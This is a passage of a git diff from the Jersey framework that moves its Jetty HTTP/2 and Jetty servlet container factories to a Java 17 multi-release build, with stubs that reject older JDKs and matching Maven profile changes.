uri, final boolean start) throws ProcessingException { - return createHttp2Server(uri, null, null, start); + validateJdk(); + return null; // does not work at JDK lower than 17 } - /** - * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that - * in turn manages all root resource and provider classes declared by the - * resource configuration. - * - * @param uri the URI to create the http server. The URI scheme must be - * equal to "https". The URI user information and host - * are ignored If the URI port is not present then port 143 will be - * used. The URI path, query and fragment components are ignored. - * @param config the resource configuration. - * @param parentContext DI provider specific context with application's registered bindings. - * @param start if set to false, server will not get started, this allows end users to set - * additional properties on the underlying listener. - * @return newly created {@link Server}. - * - * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. - * @throws IllegalArgumentException if {@code uri} is {@code null}. - * @see JettyHttpContainer - * - * @since 2.40 - */ public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start, final Object parentContext) { - return createHttp2Server(uri, null, - new JettyHttpContainerProvider().createContainer(JettyHttpContainer.class, - config, parentContext), start); + validateJdk(); + return null; // does not work at JDK lower than 17 } - /** - * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that - * in turn manages all root resource and provider classes found by searching the - * classes referenced in the java classpath. - * - * @param uri the URI to create the http server. The URI scheme must be - * equal to {@code https}. The URI user information and host - * are ignored. If the URI port is not present then port - * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be - * used. The URI path, query and fragment components are ignored. - * @param sslContextFactory this is the SSL context factory used to configure SSL connector - * @param handler the container that handles all HTTP requests - * @param start if set to false, server will not get started, this allows end users to set - * additional properties on the underlying listener. - * @return newly created {@link Server}. - * - * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. - * @throws IllegalArgumentException if {@code uri} is {@code null}. - * @see JettyHttpContainer - * - * @since 2.40 - */ public static Server createHttp2Server(final URI uri, final SslContextFactory.Server sslContextFactory, final JettyHttpContainer handler, final boolean start) { - /** - * Creating basic Jetty HTTP/1.1 container (but always not started) - */ - final Server server = JettyHttpContainerFactory.createServer(uri, sslContextFactory, handler, false); - /** - * Obtain configured HTTP connection factory - */ - final ServerConnector httpServerConnector = (ServerConnector) server.getConnectors()[0]; - final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class); - - /** - * Obtain prepared config - */ - final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration(); - - /** - * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server - */ - final List<ConnectionFactory> factories = getConnectionFactories(config, sslContextFactory); - - /** - * adding connection factories for H2/H2C protocol - */ - for (final ConnectionFactory factory : factories) { - httpServerConnector.addConnectionFactory(factory); - } - server.setConnectors(new Connector[]{httpServerConnector}); - - /** - * Starting the server if required - */ - if (start) { - try { - // Start the server. - server.start(); - } catch (final Exception e) { - throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e); - } - } - return server; + validateJdk(); + return null; // does not work at JDK lower than 17 } - private static List<ConnectionFactory> getConnectionFactories(final HttpConfiguration config, - final SslContextFactory.Server sslContextFactory) { - final List<ConnectionFactory> factories = new ArrayList<>(); - if (sslContextFactory != null) { - factories.add(new HTTP2ServerConnectionFactory(config)); - final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory(); - alpn.setDefaultProtocol("h2"); - factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol())); - factories.add(alpn); - } else { - factories.add(new HTTP2CServerConnectionFactory(config)); + private static void validateJdk() { + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } - - return factories; } }
diff --git a/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java new file mode 100644 index 0000000..b03f409 --- /dev/null +++ b/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
@@ -0,0 +1,217 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory; +import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory; +import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory; +import org.eclipse.jetty.server.ConnectionFactory; +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.HttpConfiguration; +import org.eclipse.jetty.server.HttpConnectionFactory; +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.server.ServerConnector; +import org.eclipse.jetty.server.SslConnectionFactory; +import org.eclipse.jetty.util.ssl.SslContextFactory; +import org.glassfish.jersey.jetty.JettyHttpContainer; +import org.glassfish.jersey.jetty.JettyHttpContainerFactory; +import org.glassfish.jersey.jetty.JettyHttpContainerProvider; +import org.glassfish.jersey.server.ContainerFactory; +import org.glassfish.jersey.server.ResourceConfig; + +import jakarta.ws.rs.ProcessingException; +import java.net.URI; +import java.util.ArrayList; +import java.util.List; + +public final class JettyHttp2ContainerFactory { + + private JettyHttp2ContainerFactory() { + + } + + /** + * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createHttp2Server(final URI uri) throws ProcessingException { + return createHttp2Server(uri, null, null, true); + } + + /** + * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * <p/> + * This implementation defers to the + * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be + * used as context path, the rest will be ignored. + * @param configuration web application configuration. + * @param start if set to false, server will not get started, which allows to configure the underlying + * transport layer, see above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start) + throws ProcessingException { + return createHttp2Server(uri, null, + ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start); + } + + /** + * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @param start if set to false, server will not get started, which allows to configure the underlying transport + * layer, see above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * + * @since 2.40 + */ + + public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException { + return createHttp2Server(uri, null, null, start); + } + + /** + * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "https". The URI user information and host + * are ignored If the URI port is not present then port 143 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @param parentContext DI provider specific context with application's registered bindings. + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + * + * @since 2.40 + */ + public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start, + final Object parentContext) { + return createHttp2Server(uri, null, + new JettyHttpContainerProvider().createContainer(JettyHttpContainer.class, + config, parentContext), start); + } + + /** + * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes found by searching the + * classes referenced in the java classpath. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to {@code https}. The URI user information and host + * are ignored. If the URI port is not present then port + * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be + * used. The URI path, query and fragment components are ignored. + * @param sslContextFactory this is the SSL context factory used to configure SSL connector + * @param handler the container that handles all HTTP requests + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + * + * @since 2.40 + */ + public static Server createHttp2Server(final URI uri, + final SslContextFactory.Server sslContextFactory, + final JettyHttpContainer handler, + final boolean start) { + + /** + * Creating basic Jetty HTTP/1.1 container (but always not started) + */ + final Server server = JettyHttpContainerFactory.createServer(uri, sslContextFactory, handler, false); + /** + * Obtain configured HTTP connection factory + */ + final ServerConnector httpServerConnector = (ServerConnector) server.getConnectors()[0]; + final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class); + + /** + * Obtain prepared config + */ + final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration(); + + /** + * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server + */ + final List<ConnectionFactory> factories = getConnectionFactories(config, sslContextFactory); + + /** + * adding connection factories for H2/H2C protocol + */ + for (final ConnectionFactory factory : factories) { + httpServerConnector.addConnectionFactory(factory); + } + server.setConnectors(new Connector[]{httpServerConnector}); + + /** + * Starting the server if required + */ + if (start) { + try { + // Start the server. + server.start(); + } catch (final Exception e) { + throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e); + } + } + return server; + } + + private static List<ConnectionFactory> getConnectionFactories(final HttpConfiguration config, + final SslContextFactory.Server sslContextFactory) { + final List<ConnectionFactory> factories = new ArrayList<>(); + if (sslContextFactory != null) { + factories.add(new HTTP2ServerConnectionFactory(config)); + final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory(); + alpn.setDefaultProtocol("h2"); + factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol())); + factories.add(alpn); + } else { + factories.add(new HTTP2CServerConnectionFactory(config)); + } + + return factories; + } +}
diff --git a/containers/jetty-http2/src/main/java8/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java8/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java deleted file mode 100644 index 6b148ed..0000000 --- a/containers/jetty-http2/src/main/java8/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java +++ /dev/null
@@ -1,75 +0,0 @@ -/* - * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.jetty.http2; - -import org.eclipse.jetty.server.Server; -import org.eclipse.jetty.util.ssl.SslContextFactory; - -import org.glassfish.jersey.internal.util.JdkVersion; -import org.glassfish.jersey.jetty.JettyHttpContainer; -import org.glassfish.jersey.jetty.http2.LocalizationMessages; -import org.glassfish.jersey.server.ContainerFactory; -import org.glassfish.jersey.server.ResourceConfig; - -import jakarta.ws.rs.ProcessingException; -import java.net.URI; -import java.util.ArrayList; -import java.util.List; - -public final class JettyHttp2ContainerFactory { - - private JettyHttp2ContainerFactory() { - - } - - public static Server createHttp2Server(final URI uri) throws ProcessingException { - validateJdk(); - return null; // does not work at JDK 1.8 - } - - public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start) - throws ProcessingException { - validateJdk(); - return null; // does not work at JDK 1.8 - } - - public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException { - validateJdk(); - return null; // does not work at JDK 1.8 - } - - public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start, - final Object parentContext) { - validateJdk(); - return null; // does not work at JDK 1.8 - } - - public static Server createHttp2Server(final URI uri, - final SslContextFactory.Server sslContextFactory, - final JettyHttpContainer handler, - final boolean start) { - - validateJdk(); - return null; // does not work at JDK 1.8 - } - - private static void validateJdk() { - if (JdkVersion.getJdkVersion().getMajor() < 11) { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - } -}
diff --git a/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties index 9807184..ba290bd 100644 --- a/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties +++ b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
@@ -16,4 +16,4 @@ # {0} - status code; {1} - status reason message error.when.creating.server=Exception thrown when trying to create jetty server. -not.supported=Jetty container is not supported on JDK version less than 11. \ No newline at end of file +not.supported=Jetty container is not supported on JDK version less than 17. \ No newline at end of file
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java index 6134d03..d3a68a8 100644 --- a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java +++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java
@@ -89,7 +89,7 @@ return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT); } - public void startServer(Class... resources) { + public void startServer(Class<?>... resources) { ResourceConfig config = new ResourceConfig(resources); config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); final URI baseUri = getBaseUri();
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java index ac1ebb5..7828d9b 100644 --- a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java +++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java
@@ -45,7 +45,6 @@ public class AsyncTest extends AbstractJettyServerTester { @Path("/async") - @SuppressWarnings("VoidMethodAnnotatedWithGET") public static class AsyncResource { public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
diff --git a/containers/jetty-servlet/pom.xml b/containers/jetty-servlet/pom.xml index 73f1f69..f8e6ac0 100644 --- a/containers/jetty-servlet/pom.xml +++ b/containers/jetty-servlet/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.containers</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-container-jetty-servlet</artifactId> @@ -32,6 +32,13 @@ <description>Jetty Servlet Container</description> + <properties> + <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory> + <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory> + <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory> + <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory> + </properties> + <dependencies> <dependency> <groupId>org.glassfish.jersey.containers</groupId> @@ -46,7 +53,21 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> + </dependency> + <dependency> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-webapp</artifactId> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-jetty-http</artifactId> + <version>${project.version}</version> </dependency> </dependencies> @@ -76,108 +97,54 @@ </plugins> </build> - <properties> - <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory> - <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory> - <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory> - <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory> - <jetty.javax.version>${jetty9.version}</jetty.javax.version> - </properties> - <profiles> <profile> <id>JettyExclude</id> <activation> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <dependencies> <dependency> <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-webapp</artifactId> + <version>${jetty11.version}</version> + <scope>provided</scope> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-webapp</artifactId> + <scope>provided</scope> + <exclusions> + <exclusion> + <groupId>*</groupId> + <artifactId>*</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-server</artifactId> - <version>${jetty.javax.version}</version> + <version>${jetty11.version}</version> <scope>provided</scope> </dependency> <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-webapp</artifactId> - <version>${jetty.javax.version}</version> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-jetty-http</artifactId> + <version>${project.version}</version> <scope>provided</scope> <exclusions> <exclusion> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-server</artifactId> </exclusion> - <exclusion> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-api</artifactId> - </exclusion> </exclusions> </dependency> - <dependency> - <groupId>org.glassfish.jersey.containers</groupId> - <artifactId>jersey-container-jetty-http</artifactId> - <version>${project.version}</version> - <exclusions> - <exclusion> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-server</artifactId> - </exclusion> - </exclusions> - </dependency> - </dependencies> - <build> - <directory>${java8.build.outputDirectory}</directory> - <plugins> - <plugin> - <groupId>org.codehaus.mojo</groupId> - <artifactId>build-helper-maven-plugin</artifactId> - <executions> - <execution> - <phase>generate-sources</phase> - <goals> - <goal>add-source</goal> - </goals> - <configuration> - <sources> - <source>${java8.sourceDirectory}</source> - </sources> - </configuration> - </execution> - </executions> - </plugin> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-compiler-plugin</artifactId> - <configuration> - <testExcludes> - <testExclude>org/glassfish/jersey/jetty/*.java</testExclude> - </testExcludes> - </configuration> - </plugin> - </plugins> - </build> - </profile> - <profile> - <id>Jetty11</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <dependencies> - <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-webapp</artifactId> - <exclusions> - <exclusion> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-api</artifactId> - </exclusion> - </exclusions> - </dependency> - <dependency> - <groupId>org.glassfish.jersey.containers</groupId> - <artifactId>jersey-container-jetty-http</artifactId> - <version>${project.version}</version> - </dependency> </dependencies> <build> <directory>${java11.build.outputDirectory}</directory> @@ -203,13 +170,41 @@ </build> </profile> <profile> - <id>copyJDK11FilesToMultiReleaseJar</id> + <id>JettyInclude</id> + <activation> + <jdk>[17,)</jdk> + </activation> + <build> + <directory>${java17.build.outputDirectory}</directory> + <plugins> + <plugin> + <groupId>org.codehaus.mojo</groupId> + <artifactId>build-helper-maven-plugin</artifactId> + <executions> + <execution> + <phase>generate-sources</phase> + <goals> + <goal>add-source</goal> + </goals> + <configuration> + <sources> + <source>${java17.sourceDirectory}</source> + </sources> + </configuration> + </execution> + </executions> + </plugin> + </plugins> + </build> + </profile> + <profile> + <id>copyJDK17FilesToMultiReleaseJar</id> <activation> <file> - <!-- ${java11.build.outputDirectory} does not work here --> - <exists>target11/classes/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.class</exists> + <!-- ${java17.build.outputDirectory} does not work here --> + <exists>target17/classes/org/glassfish/jersey/jetty/JettyWebContainerFactory.class</exists> </file> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <build> <plugins> @@ -230,16 +225,16 @@ <inherited>true</inherited> <executions> <execution> - <id>copy-jdk11-classes</id> + <id>copy-jdk17-classes</id> <phase>prepare-package</phase> <goals> <goal>copy-resources</goal> </goals> <configuration> - <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory> + <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory> <resources> <resource> - <directory>${java11.build.outputDirectory}/classes</directory> + <directory>${java17.build.outputDirectory}/classes</directory> </resource> </resources> </configuration> @@ -251,14 +246,14 @@ <artifactId>maven-antrun-plugin</artifactId> <executions> <execution> - <id>copy-jdk11-sources</id> + <id>copy-jdk17-sources</id> <phase>package</phase> <configuration> <target> - <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> + <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> <echo>sources-jar: ${sources-jar}</echo> <zip destfile="${sources-jar}" update="true"> - <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/> + <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/> </zip> </target> </configuration> @@ -272,4 +267,5 @@ </build> </profile> </profiles> + </project>
diff --git a/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java index 7f46e7b..afbec62 100644 --- a/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java +++ b/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,21 +16,15 @@ package org.glassfish.jersey.jetty.servlet; +import jakarta.servlet.Servlet; +import jakarta.ws.rs.ProcessingException; +import org.eclipse.jetty.server.Server; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.servlet.ServletContainer; + import java.net.URI; import java.util.Map; -import jakarta.servlet.Servlet; - -import org.glassfish.jersey.jetty.JettyHttpContainerFactory; -import org.glassfish.jersey.servlet.ServletContainer; -import org.glassfish.jersey.uri.UriComponent; - -import org.eclipse.jetty.server.Server; -import org.eclipse.jetty.servlet.ServletHolder; -import org.eclipse.jetty.webapp.Configuration; -import org.eclipse.jetty.webapp.WebAppContext; -import org.eclipse.jetty.webapp.WebXmlConfiguration; - /** * Factory for creating and starting Jetty {@link Server} instances * for deploying a Servlet. @@ -216,46 +210,7 @@ private static Server create(URI u, Class<? extends Servlet> c, Servlet servlet, Map<String, String> initParams, Map<String, String> contextInitParams) throws Exception { - if (u == null) { - throw new IllegalArgumentException("The URI must not be null"); - } - - String path = u.getPath(); - if (path == null) { - throw new IllegalArgumentException("The URI path, of the URI " + u + ", must be non-null"); - } else if (path.isEmpty()) { - throw new IllegalArgumentException("The URI path, of the URI " + u + ", must be present"); - } else if (path.charAt(0) != '/') { - throw new IllegalArgumentException("The URI path, of the URI " + u + ". must start with a '/'"); - } - - path = String.format("/%s", UriComponent.decodePath(u.getPath(), true).get(1).toString()); - WebAppContext context = new WebAppContext(); - context.setDisplayName("JettyContext"); - context.setContextPath(path); - context.setConfigurations(new Configuration[]{new WebXmlConfiguration()}); - ServletHolder holder; - if (c != null) { - holder = context.addServlet(c, "/*"); - } else { - holder = new ServletHolder(servlet); - context.addServlet(holder, "/*"); - } - - if (contextInitParams != null) { - for (Map.Entry<String, String> e : contextInitParams.entrySet()) { - context.setInitParameter(e.getKey(), e.getValue()); - } - } - - if (initParams != null) { - holder.setInitParameters(initParams); - } - - Server server = JettyHttpContainerFactory.createServer(u, false); - server.setHandler(context); - server.start(); - return server; + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } /** @@ -281,4 +236,4 @@ } return create(u, null, servlet, initParams, contextInitParams); } -} +} \ No newline at end of file
diff --git a/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java new file mode 100644 index 0000000..5ada3ed --- /dev/null +++ b/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
@@ -0,0 +1,284 @@ +/* + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.servlet; + +import java.net.URI; +import java.util.Map; + +import jakarta.servlet.Servlet; + +import org.glassfish.jersey.jetty.JettyHttpContainerFactory; +import org.glassfish.jersey.servlet.ServletContainer; +import org.glassfish.jersey.uri.UriComponent; + +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.ee10.servlet.ServletHolder; +import org.eclipse.jetty.ee10.webapp.Configuration; +import org.eclipse.jetty.ee10.webapp.WebAppContext; +import org.eclipse.jetty.ee10.webapp.WebXmlConfiguration; + +/** + * Factory for creating and starting Jetty {@link Server} instances + * for deploying a Servlet. + * <p/> + * The default deployed server is an instance of {@link ServletContainer}. + * <p/> + * If no initialization parameters are declared (or is null) then root + * resource and provider classes will be found by searching the classes + * referenced in the java classpath. + * + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public final class JettyWebContainerFactory { + + private JettyWebContainerFactory() { + } + + /** + * Create a {@link Server} that registers the {@link ServletContainer}. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(String u) + throws Exception { + if (u == null) { + throw new IllegalArgumentException("The URI must not be null"); + } + + return create(URI.create(u)); + } + + /** + * Create a {@link Server} that registers the {@link ServletContainer}. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @param initParams the servlet initialization parameters. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(String u, Map<String, String> initParams) + throws Exception { + if (u == null) { + throw new IllegalArgumentException("The URI must not be null"); + } + + return create(URI.create(u), initParams); + } + + /** + * Create a {@link Server} that registers the {@link ServletContainer}. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(URI u) + throws Exception { + return create(u, ServletContainer.class); + } + + /** + * Create a {@link Server} that registers the {@link ServletContainer}. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @param initParams the servlet initialization parameters. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(URI u, Map<String, String> initParams) + throws Exception { + return create(u, ServletContainer.class, initParams); + } + + /** + * Create a {@link Server} that registers the declared + * servlet class. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment 